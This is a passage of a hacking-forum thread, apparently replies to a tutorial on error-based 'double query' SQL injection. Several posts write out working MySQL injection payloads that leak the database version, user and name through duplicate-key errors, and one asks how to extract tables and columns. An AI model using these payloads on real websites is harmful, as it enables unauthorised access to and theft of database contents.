[TUT][noob friendly][PIC]ERROR BASED INJECTION(DOUBLE QUERY)[TUT]

[TUT][noob friendly][PIC]ERROR BASED INJECTION(DOUBLE QUERY)[TUT] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: [TUT][noob friendly][PIC]ERROR BASED INJECTION(DOUBLE QUERY)[TUT] (/showthread.php?tid=2010637)

Pages: Pages 1 2 3

* - Format - Dec 16, 2011

Very cool, but don't we got tools for this? :)

* - webb - Dec 17, 2011

Format Wrote:Very cool, but don't we got tools for this? :)

You dont need any tools best tools is your brain try to update it :)

* - decent-ranjha - Dec 17, 2011

(Dec 14, 2011 11:40 AM)VipVince Wrote: Can anyone see what is wrong with my query here:

Giving me a damn syntax error?

its

Code 
and+(select+1+from(select%0acount(concat((select+concat(version())+from+information_schema.tables+limit+0,1)floor(Rand(0)*2))a+from+information_schema.tables+group+by+a)b)

* - sandeep1024 - Dec 18, 2011

already posted tut by me..hmmm nice wrk

* - webb - Dec 28, 2011

decent-ranjha Wrote:Giving me a damn syntax error?

its

Code
and+(select+1+from(select%0acount(concat((select+concat(version())+from+information_schema.tables+limit+0,1)floor(Rand(0)*2))a+from+information_schema.tables+group+by+a)b)

use this

Code 
and(select 1 from(select count(*),concat((select (select concat(version())) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

* - kobez - Jan 17, 2012

GREAT tutorial webb <3 so much detail!
bookmarked :)

* - webb - Jan 17, 2012

kobez Wrote:GREAT tutorial webb <3 so much detail!
bookmarked :)

Really appreciate for your good feedback

* - noober1001 - Jan 17, 2012

Hey bro.. very nice tut.. but can you please explain me the complete meaning of this syntax..

and(select 1 from(select count(*),concat((select (select
concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) and 1=1

like why we use cast, rand floor etc.

Thanks in advance.

* - dawnofwar - Mar 13, 2012

Nice tutorial, nicely written and "easy" to understand. Will definitely have to read and practice this when I'm not stoned. Do you know those syntaxes all by heart, or do you use a cheat sheet?

* - webb - Mar 15, 2012

What do you mean knows the syntax
If you want to know and learn all syntax works try to learn sql
http://www.w3schools.com/sql/default.asp
http://www.sqlcourse.com/index.html
http://sqlzoo.net/
http://beginner-sql-tutorial.com/sql.htm
And its not my job learn sql to you or another one
My proof is my tut

* - Ashutosh.panda - Jun 30, 2012

or 1 group by concat_ws(0x7e,version(),user(),database(),floor(rand(0)*2)) having min(0) or
how we can get table name and column name and extract information from them by using above type of syntaxs
plz tell

* - Dhumti - Aug 2, 2012

Best tut
i Bookmarked this page
Thank you

* - jasjivsk - Aug 2, 2012

Good dude ..
but what about .. 1064 error .. i can't deal with it .. can u help..!

* - MISTUGAN - Aug 24, 2012

thank alot bro...
it's very friendly tut..
Keep it up!

* - LolzSec - Aug 24, 2012

Thanks mate , this is a great tutorial :))) ....